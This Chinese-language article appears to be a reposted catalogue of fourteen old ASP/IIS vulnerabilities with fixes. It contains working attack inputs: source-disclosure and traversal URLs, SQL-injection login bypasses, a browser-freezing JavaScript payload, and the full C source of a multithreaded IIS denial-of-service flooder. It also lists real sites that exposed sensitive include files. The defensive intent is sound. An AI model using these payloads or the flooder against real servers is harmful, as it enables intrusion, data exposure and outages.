ASP漏洞集-ASP漏洞區(qū)分與處理方法
發(fā)表時(shí)間:2024-06-06 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]1 在ASP程序后加個(gè)特殊符號(hào),能看到ASP源程序 受影響的版本: win95+pws IIS3.0 98+pws4 不存在這個(gè)漏洞! IS4.0以上的版本也不存在這個(gè)漏洞。 問(wèn)題描述: 這些特殊符號(hào)包括小數(shù)點(diǎn),%81, ::$DATA。比如:http://someurl/some...
1 在ASP程序后加個(gè)特殊符號(hào),能看到ASP源程序
受影響的版本:
win95+pws
IIS3.0
98+pws4 不存在這個(gè)漏洞。
IIS4.0以上的版本也不存在這個(gè)漏洞。
問(wèn)題描述:
這些特殊符號(hào)包括小數(shù)點(diǎn),%81, ::$DATA。比如:
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的文件內(nèi)容)
那么在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究竟是什么原因造成了這種可怕的漏洞呢?
究其根源其實(shí)是 Windows NT 特有的文件系統(tǒng)在做怪。有一點(diǎn)常識(shí)的人都知道在 NT 提供了一種完全不同于 FAT 的文件系統(tǒng):
NTFS,這種被稱之為新技術(shù)文件系統(tǒng)的技術(shù)使得 NT 具有了較高的安全機(jī)制,但也正是因?yàn)樗a(chǎn)生了不少令人頭痛的隱患。大家
可能不知道, NTFS 支持包含在一個(gè)文件中 的多數(shù)據(jù)流,而這個(gè)包含了所有內(nèi)容的主數(shù)據(jù)流被稱之為"DATA",因此使得在瀏覽器
里直接訪問(wèn) NTFS 系統(tǒng)的這個(gè)特性而輕易的捕獲在文件中的腳本程序成為了可能。然而 直接導(dǎo)致 ::$DATA 的原因是由于 IIS 在
解析文件名的時(shí)候出了問(wèn)題,它沒(méi)有很好地規(guī)范文件名。
解決方法和建議:
如果是Winodws NT用戶,安裝IIS4.0或者IIS5.0,Windows2000不存在這個(gè)問(wèn)題。如果是win95用戶,安裝WIN98和PWS4.0。
2 ACCESS mdb 數(shù)據(jù)庫(kù)有可能被下載的漏洞
問(wèn)題描述:
在用ACCESS做后臺(tái)數(shù)據(jù)庫(kù)時(shí),如果有人通過(guò)各種方法知道或者猜到了服務(wù)器的ACCESS數(shù)據(jù)庫(kù)的路徑和數(shù)據(jù)庫(kù)名稱,那么他能夠
下載這個(gè)ACCESS數(shù)據(jù)庫(kù)文件,這是非常危險(xiǎn)的。比如:如果你的ACCESS數(shù)據(jù)庫(kù)book.mdb放在虛擬目錄下的database目錄下,那么有人在瀏覽器中打入:
http:// someurl/database/book.mdb
如果你的book.mdb數(shù)據(jù)庫(kù)沒(méi)有事先加密的話,那book.mdb中所有重要的數(shù)據(jù)都掌握在別人的手中。
解決方法:
(1) 為你的數(shù)據(jù)庫(kù)文件名稱起個(gè)復(fù)雜的非常規(guī)的名字,并把他放在幾目
錄下。所謂"非常規(guī)",打個(gè)比方:比如有個(gè)數(shù)據(jù)庫(kù)要保存的是有關(guān)書(shū)籍的信息,可不要把他起個(gè)"book.mdb"的名字,起個(gè)怪怪的名稱,比如d34ksfslf.mdb,再把他放在如
./kdslf/i44/studi/ 的幾層目錄下,這樣黑客要想通過(guò)猜的方式得到你的ACCESS數(shù)據(jù)庫(kù)文件就難上加難了。
(2)不要把數(shù)據(jù)庫(kù)名寫(xiě)在程序中。有些人喜歡把DSN寫(xiě)在程序中,比如:
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如萬(wàn)一給人拿到了源程序,你的ACCESS數(shù)據(jù)庫(kù)的名字就一覽無(wú)余。因此建議你在ODBC里設(shè)置數(shù)據(jù)源,再在程序中這樣寫(xiě):conn.open "shujiyuan"
(3)使用ACCESS來(lái)為數(shù)據(jù)庫(kù)文件編碼及加密。首先在選取"工具->安
全->加密/解密數(shù)據(jù)庫(kù),選取數(shù)據(jù)庫(kù)(如:employer.mdb),然后接確定,接著會(huì)出現(xiàn)"數(shù)據(jù)庫(kù)加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會(huì)被
編碼,然后存為employer1.mdb..
要注意的是,以上的動(dòng)作并不是對(duì)數(shù)據(jù)庫(kù)設(shè)置密碼,而只是對(duì)數(shù)據(jù)庫(kù)文件加以編碼,目的是為了防止他人使用別的工具來(lái)查看數(shù)據(jù)庫(kù)文件的內(nèi)容。
接下來(lái)我們?yōu)閿?shù)據(jù)庫(kù)加密,首先以打開(kāi)經(jīng)過(guò)編碼了的employer1.mdb,在打開(kāi)時(shí),選擇"獨(dú)占"方式。然后選取功能表的"工具->安全->設(shè)置數(shù)據(jù)庫(kù)密碼",接著輸入密碼
即可。
為employer1.mdb設(shè)置密碼之后,接下來(lái)如果再使用ACCEES數(shù)據(jù)庫(kù)文件時(shí),則ACCESS會(huì)先要求輸入密碼,驗(yàn)證正確后才能夠啟動(dòng)數(shù)據(jù)庫(kù)。
不過(guò)要在ASP程序中的connection對(duì)象的open方法中增加PWD的參數(shù)即可,例如:
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
這樣即使他人得到了employer1.mdb文件,沒(méi)有密碼他是無(wú)法看到employer1.mdb的.
3 code.asp文件會(huì)泄漏ASP代碼
問(wèn)題描述:
舉個(gè)很簡(jiǎn)單的例子,在微軟提供的 ASP1.0 的例程里有一個(gè) .asp 文件,專門(mén)用來(lái)查看其它 .asp 文件的源代碼,該文件為ASPSamp/Samples/code.asp。如果有人
把這個(gè)程序上傳到服務(wù)器,而服務(wù)器端沒(méi)有任何防范措施的話,他就可以很容易地查看他人的程序。例如 :
code.asp?source=/directory/file.asp
不過(guò)這是個(gè)比較舊的漏洞了,相信現(xiàn)在很少會(huì)出現(xiàn)這種漏洞。
下面這命令是比較新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫過(guò)于asa文件可以被上述方式讀出;數(shù)據(jù)庫(kù)密碼以明文形式暴露在黑客眼前;
問(wèn)題解決或建議:
對(duì)于IIS自帶的show asp code的asp程序文件,刪除該文件或者禁止訪問(wèn)該目錄即可
4、filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞
問(wèn)題描述:
IIS3、 IIS4 的 ASP 的文件操作都可以通過(guò) filesystemobject 實(shí)現(xiàn),包括文本文件的讀寫(xiě)目錄操作、文件的拷貝改名刪除等,但是這個(gè)強(qiáng)大的功能也留下了非常
危險(xiǎn)的 "后門(mén)"。利用 filesystemobjet 可以篡改下載 fat 分區(qū)上的任何文件。即使是 ntfs 分區(qū),如果權(quán)限沒(méi)有設(shè)定好的話,同樣也能破壞,一不小心你就可能遭受"
滅頂之災(zāi) "。遺憾的是很多 webmaster 只知道讓 web 服務(wù)器運(yùn)行起來(lái),很少對(duì) ntfs 進(jìn)行權(quán)限 設(shè)置,而 NT 目錄權(quán)限的默認(rèn)設(shè)置偏偏安全性又低得可怕。因此,如果
你是Webmaster,建議你密切關(guān)注服務(wù)器的設(shè)置,盡量將 web 目錄建在 ntfs 分區(qū)上,目錄不要設(shè)定 everyone full control,即使是是管理員組的成員一般也沒(méi)什么
必要 full control,只要有讀取、更改權(quán)限就足夠了。 也可以把filesystemobject的組件刪除或者改名。
5、輸入標(biāo)準(zhǔn)的HTML語(yǔ)句或者javascript語(yǔ)句會(huì)改變輸出結(jié)果
問(wèn)題描述:
在輸入框中打入標(biāo)準(zhǔn)的HTML語(yǔ)句會(huì)得到什么相的結(jié)果呢?
比如一個(gè)留言本,我們留言內(nèi)容中打入:<font size=10>你好!</font>
如果你的ASP程序中沒(méi)有屏蔽html語(yǔ)句,那么就會(huì)改變"你好"字體的大小。在留言本中改變字體大小和貼圖有時(shí)并不是什么壞事,反而可以使留言本生動(dòng)。但是如果在輸
入框中寫(xiě)個(gè) javascript 的死循環(huán),比如:<a herf="http://someurl"onMouseover="while(1){window.close('/')}">特大新聞</a>
那么其他查看該留言的客人只要移動(dòng)鼠標(biāo)到"特大新聞",上就會(huì)使用戶的瀏覽器因死循環(huán)而死掉。
解決方法和建議:
編寫(xiě)類似程序時(shí)應(yīng)該做好對(duì)此類操作的防范,譬如可以寫(xiě)一段程序判斷客戶端的輸入,并屏蔽掉所有的 HTML、 Javascript語(yǔ)句。
6、ASP程序密碼驗(yàn)證漏洞
漏洞描述:
很多網(wǎng)站把密碼放到數(shù)據(jù)庫(kù)中,在登陸驗(yàn)證中用以下sql,(以asp為例)
sql="select * from user where username='"&username&"'and pass='"& pass &'"
此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben' or '1'='1就可以進(jìn)入本來(lái)你沒(méi)有特權(quán)的頁(yè)面。再來(lái)看看上面那個(gè)語(yǔ)句吧: sql="select * from
user where username='"&username&"'and pass='"& pass&'"
此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben' or '1'='1
這樣,程序?qū)?huì)變成這樣: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&"
or 是一個(gè)邏輯運(yùn)算符,作用是在判斷兩個(gè)條件的時(shí)候,只要其中一個(gè)條件成立,那么等式將會(huì)成立.而在語(yǔ)言中,是以1來(lái)代表真的(成立).那么在這行語(yǔ)句中,原語(yǔ)句的"and"
驗(yàn)證將不再繼續(xù),而因?yàn)?1=1"和"or"令語(yǔ)句返回為真值。
另外我們也可以構(gòu)造以下的用戶名:
username='aa' or username<>'aa'
pass='aa' or pass<>'aa'
相應(yīng)的在瀏覽器端的用戶名框內(nèi)寫(xiě)入:aa' or username<>'aa 口令框內(nèi)寫(xiě)入:aa' or pass<>'aa,注意這兩個(gè)字符串兩頭是沒(méi)有'的。這樣就可以成功的騙過(guò)系統(tǒng)而
進(jìn)入。
后一種方法理論雖然如此,但要實(shí)踐是非常困難的,下面兩個(gè)條件都必須具備。
1. 你首先要能夠準(zhǔn)確的知道系統(tǒng)在表中是用哪兩個(gè)字段存儲(chǔ)用戶名和口令的,只有這樣你才能準(zhǔn)確的構(gòu)造出這個(gè)進(jìn)攻性的字符
串。實(shí)際上這是很難猜中的。
2.系統(tǒng)對(duì)你輸入的字符串不進(jìn)行有效性檢查。
問(wèn)題解決和建議:
對(duì)輸入的內(nèi)容驗(yàn)證和"'"號(hào)的處理。
7、IIS4或者IIS5中安裝有INDEX SERVER服務(wù)會(huì)漏洞ASP源程序
問(wèn)題描述:
在運(yùn)行IIS4或者IIS5的Index Server,輸入特殊的字符格式可以看到ASP源程序或者其它頁(yè)面的程序。甚至以及添打了最近關(guān)
于參看源代碼的補(bǔ)丁程序的系統(tǒng),或者沒(méi)有.htw文件的系統(tǒng),一樣存在該問(wèn)題。獲得asp程序,甚至global.asa文件的源代碼,無(wú)疑對(duì)系統(tǒng)是一個(gè)非常重大的安全隱患。往
往這些代碼中包含了用戶密碼和ID,以及數(shù)據(jù)庫(kù)的源路徑和名稱等等。這對(duì)于攻擊者收集系統(tǒng)信息,進(jìn)行下一步的入侵都是非常重要的。
通過(guò)構(gòu)建下面的特殊程序可以參看該程序源代碼:
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
這樣只是返回一些html格式的文件代碼,但是當(dāng)你添加%20到CiWebHitsFile的參數(shù)后面,如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
這將獲得該程序的源代碼。
。ㄗ⒁猓/default.asp是以web的根開(kāi)始計(jì)算。如某站點(diǎn)的http:///welcome/welcome.asp
那么對(duì)應(yīng)就是:
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full
)
由于'null.htw'文件并非真正的系統(tǒng)映射文件,所以只是一個(gè)儲(chǔ)存在系統(tǒng)內(nèi)存中的虛擬文件。哪怕你已經(jīng)從你的系統(tǒng)中刪除了所有的真實(shí)的.htw文件,但是由于對(duì)
null.htw文件的請(qǐng)求默認(rèn)是由webhits.dll來(lái)處理。所以,IIS仍然收到該漏洞的威脅。
問(wèn)題解決或者建議:
如果該webhits提供的功能是系統(tǒng)必須的,請(qǐng)下載相應(yīng)的補(bǔ)丁程序。如果沒(méi)必要,請(qǐng)用IIS的MMC管理工具簡(jiǎn)單移除.htw的映象文件。
補(bǔ)丁程序如下:
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、繞過(guò)驗(yàn)證直接進(jìn)入ASP頁(yè)面。
漏洞描述:
如果用戶知道了一個(gè)ASP頁(yè)面的路徑和文件名,而這個(gè)文件又是要經(jīng)過(guò)驗(yàn)證才能進(jìn)去的,但是用戶直接輸入這個(gè)ASP頁(yè)面的文件名,就有可能通過(guò)繞過(guò)驗(yàn)證.比如:我在
一些網(wǎng)站上這樣試過(guò):首先關(guān)閉所有的瀏覽器,窗口,輸入:http://someurl/system_search.asp?page=1
就樣就看到了只能系統(tǒng)員才能看到的頁(yè)面。當(dāng)然有些人為了防止這種情況也會(huì)在system_search.asp的開(kāi)頭加個(gè)判斷,比如:
判斷session("system_name"),如果不為空時(shí)就能進(jìn)入,這樣上面的url請(qǐng)求就不能直接進(jìn)入管理員頁(yè)面了。但是這種方法也有一個(gè)漏洞,如果攻擊者先用一個(gè)合法的帳號(hào)
,或者在本機(jī)上生成一個(gè)session,如session("system_name")="admi",那因?yàn)?br>session("system_name")不為空,這樣也能直接進(jìn)入繞過(guò)密碼,直接進(jìn)入管理員頁(yè)面。
解決方法:
在需要驗(yàn)證的ASP頁(yè)面開(kāi)頭處進(jìn)行相應(yīng)的處理。比如:可跟蹤上一個(gè)頁(yè)面的文件名,只有從上一頁(yè)面轉(zhuǎn)進(jìn)來(lái)的會(huì)話才能讀取這個(gè)頁(yè)面。
9、IIS4.0/5.0特殊數(shù)據(jù)格式的URL請(qǐng)求遠(yuǎn)程DOS攻擊
漏洞描述:
當(dāng)在安裝有有IIS4.0或者IIS5.0的web服務(wù)上,請(qǐng)求一個(gè)具有特殊數(shù)據(jù)格式的URL,會(huì)拖慢受攻擊web服務(wù)器的響應(yīng)速度,或許會(huì)使其暫時(shí)停止響應(yīng)。
受影響的版本:
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
漏洞測(cè)試程序如下:
http://202.96.168.51/download/exploits/iisdos.exe
源代碼如下:
http://202.96.168.51/download/exploits/iisdos.zip
測(cè)試程序:
只要打入:iisdos<***.***.**.**>就能攻擊對(duì)方web服務(wù)器
問(wèn)題解決:
InternetInformationServer4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相關(guān)連接
http://www.ussrback.com
10、 IIS web server DOS
漏洞描述:
默認(rèn)情況下,IIS容易被拒絕服務(wù)攻擊。如果注冊(cè)表中有一個(gè)叫 "MaxClientRequestBuffer" 的鍵未被創(chuàng)建,針對(duì)這種NT系統(tǒng)的攻擊通常能奏效。
"MaxClientRequestBuffer" 這個(gè)鍵用于設(shè)置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer"
設(shè)置為256(bytes),則攻擊者通過(guò)輸入大量的字符請(qǐng)求IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設(shè)置對(duì)此不加限制,因此,利用下面的程序?梢院苋菀椎貙(duì)IIS
server實(shí)行DOS攻擊:
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
[page_break]buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's
攻擊結(jié)果將導(dǎo)致NT系統(tǒng)的CPU占用率達(dá)到 100%
解決方案
運(yùn)行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一個(gè)值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
設(shè)置為十進(jìn)制
具體數(shù)值設(shè)置為你想設(shè)定的IIS允許接受的URL最大長(zhǎng)度。
CNNS的設(shè)置為256
11、MS ODBC數(shù)據(jù)庫(kù)連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊
漏 洞 描 述:
Microsoft ODBC數(shù)據(jù)庫(kù)在連接和斷開(kāi)時(shí)可能存在潛在的溢出問(wèn)題(Microsoft ACCESS數(shù)據(jù)庫(kù)相關(guān))。
如果不取消連接而直接和第二個(gè)數(shù)據(jù)庫(kù)相連接,可能導(dǎo)致服務(wù)停止。
影響系統(tǒng):
ODBC 版本: 3.510.3711.0
ODBC Access驅(qū)動(dòng)版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞檢測(cè)方法如下:
ODBC 連接源名稱: miscdb
ODBC 數(shù)據(jù)庫(kù)型號(hào): MS Access
ODBC 假設(shè)路徑: d:\data\misc.mdb
ASP代碼如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在這種情況下,IIS處理進(jìn)程將會(huì)停頓,CPU使用率由于inetinfo.exe進(jìn)程將達(dá)到100%。只有重新啟動(dòng)計(jì)算機(jī)才能恢復(fù)。
12、ASP主頁(yè).inc文件泄露問(wèn)題
漏洞描述:
受影響的版本:任何提供ASP服務(wù)的系統(tǒng)
遠(yuǎn)程:YES / 本地:YES
內(nèi)容摘要:
當(dāng)存在asp的主頁(yè)正在制作并沒(méi)有進(jìn)行最后調(diào)試完成以前,可以被某些搜索引擎機(jī)動(dòng)追加為搜索對(duì)象,如果這時(shí)候有人利用搜索引擎對(duì)這些網(wǎng)頁(yè)進(jìn)行查找,會(huì)得到有關(guān)
文件的定位,并能在瀏覽器中察看到數(shù)據(jù)庫(kù)地點(diǎn)和結(jié)構(gòu)的細(xì)節(jié)揭示完整的源代碼。
具體操作過(guò)程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 運(yùn)行時(shí)刻錯(cuò)誤執(zhí)行搜索" +".inc ," 的關(guān)鍵字
- 搜索引擎會(huì)自動(dòng)查找包含asp的包含文件(.inc)并顯示給用戶
- 利用瀏覽器觀看包含文件的源代碼,其中可能會(huì)有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露數(shù)據(jù)庫(kù)連接和性質(zhì), 資源地點(diǎn), 小甜餅邏輯,服務(wù)器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露數(shù)據(jù)庫(kù)性質(zhì)
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地點(diǎn)和結(jié)構(gòu)
- http://www.bjsbabes.com/SFLib/design.inc
包括數(shù)據(jù)庫(kù)結(jié)構(gòu)為 StoreFront 2000 暴露源代碼
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎記錄文件
- http://www.wcastl.com/include/functions.inc
暴露成員電子郵件地址
- http://www.wcastl.com/flat/comments.txt
暴露成員私人的注釋文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 邏輯
解決方案:
- 搜索引擎應(yīng)該不索引有 asp 運(yùn)行時(shí)刻錯(cuò)誤的頁(yè)
- 程序員應(yīng)該在網(wǎng)頁(yè)發(fā)布前對(duì)其進(jìn)行徹底的調(diào)試
- 安全專家需要固定 asp 包含文件以便外部的用戶不能看他們
asp 新聞組、站點(diǎn)提供兩個(gè)解決方案對(duì)這個(gè)漏洞進(jìn)行修正,首先對(duì) .inc 文件內(nèi)容進(jìn)行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無(wú)法從瀏覽器直接觀
看文件的源代碼。.inc 文件的文件名不用使用系統(tǒng)默認(rèn)的或者有特殊含義容易被用戶猜測(cè)到的,盡量使用無(wú)規(guī)則的英文字母。
13、利用Activer server explorer可對(duì)文件進(jìn)行讀寫(xiě)訪問(wèn)
漏洞描述:
chinaasp的Activer server explorer可以很方便的對(duì)本地文件在線查看服務(wù)器上的目錄 在線查看文件的名稱、大小、類型、修改時(shí)間,在線編輯純文本文件,如
.txt、.htm、.asp、.pl、.cgi等等,直接執(zhí)行服務(wù)器上的文件。
Activer server explorer要求填寫(xiě)相對(duì)路徑或者絕對(duì)路徑,但是假如:有一個(gè)攻擊者把Activer server explorer上傳到目標(biāo)服務(wù)器上的某個(gè)目錄,并且這個(gè)目錄
支持ASP的話,那么他就可以通過(guò)Activer server explorer修改、執(zhí)行目標(biāo)服務(wù)器上的文件。這種情況可以發(fā)生在一個(gè)攻擊者擁有目標(biāo)NT服務(wù)器上的一個(gè)可寫(xiě)目錄帳號(hào),
并且這個(gè)目錄又支持ASP。比如一些支持ASP的個(gè)人免費(fèi)主頁(yè)服務(wù)器,把Activer server explorer先傳上你申請(qǐng)的免費(fèi)主頁(yè)空間,再通過(guò)各種方法得到目標(biāo)服務(wù)器的路徑
,(比如可通過(guò)漏洞:"請(qǐng)求不存在的擴(kuò)展名為idq或ida 文件,會(huì)暴露文件在服務(wù)器上的物理地址.").或者直接在相對(duì)路徑上填".",一般是默認(rèn)。這樣攻擊者就能任意修
改,執(zhí)行目標(biāo)服務(wù)器上的文件,不管他對(duì)這個(gè)文件有無(wú)讀寫(xiě)訪問(wèn)權(quán)。
所以那些提供有ASP服務(wù)的個(gè)人主頁(yè)或者其它服務(wù)的服務(wù)器,就要加倍小心這種攻擊了。
漏洞解決方法
其實(shí)Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞。
那么我們?nèi)绾尾拍芟拗朴脩羰褂肍ileSystemObject對(duì)象呢?一種極端的做法是完全反注冊(cè)掉提供FileSystemObject對(duì)象的那個(gè)組件,也就是Scrrun.dll。具體的方
法如下:
在MS-DOS狀態(tài)下面鍵入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在實(shí)際操作的時(shí)候要更改成為你本地的實(shí)際路徑)
但是這樣的話,就不能使用FileSystemObject對(duì)象了,有時(shí)利用FileSystemObject對(duì)象來(lái)管理文件是很方便,有什么辦法能
兩全其美呢?
我們可以做到禁止他人非法使用FileSystemObject對(duì)象,但是我們自己仍然可以使用這個(gè)對(duì)象.
方法如下:
查找注冊(cè)表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值
將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
這樣,在ASP就必須這樣引用這個(gè)對(duì)象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法來(lái)調(diào)用FileSystemObject對(duì)象就會(huì)無(wú)法使用了。
只要你不告訴別人這個(gè)更改過(guò)的對(duì)象名稱,其他人是無(wú)法使用FileSystemObject對(duì)象的。這樣,作為站點(diǎn)管理者我們就杜絕了他人非法使用FileSystemObject對(duì)象,
而我們自己仍然可以使用這個(gè)對(duì)象來(lái)方便的實(shí)現(xiàn)網(wǎng)站在線管理等等功能了!
14、 IIS4.0/IIS5.0超長(zhǎng)文件名請(qǐng)求存在漏洞
漏洞描述:
受影響的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
當(dāng)在一個(gè)已知的文件名后加230個(gè)"%20"再加個(gè).htr,會(huì)使安裝有Microsoft IIS 4.0/5.0泄漏該文件的內(nèi)容。這是由ISM.dll映射的.htr文件引起的.比如:
http://target/filename%20<重復(fù)230次>.htr
這種請(qǐng)求只有當(dāng).htr請(qǐng)求是第一次調(diào)用或者ISM.dll第一次裝載進(jìn)內(nèi)存,才能起作用。
解決方法:
安裝補(bǔ)丁:
Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe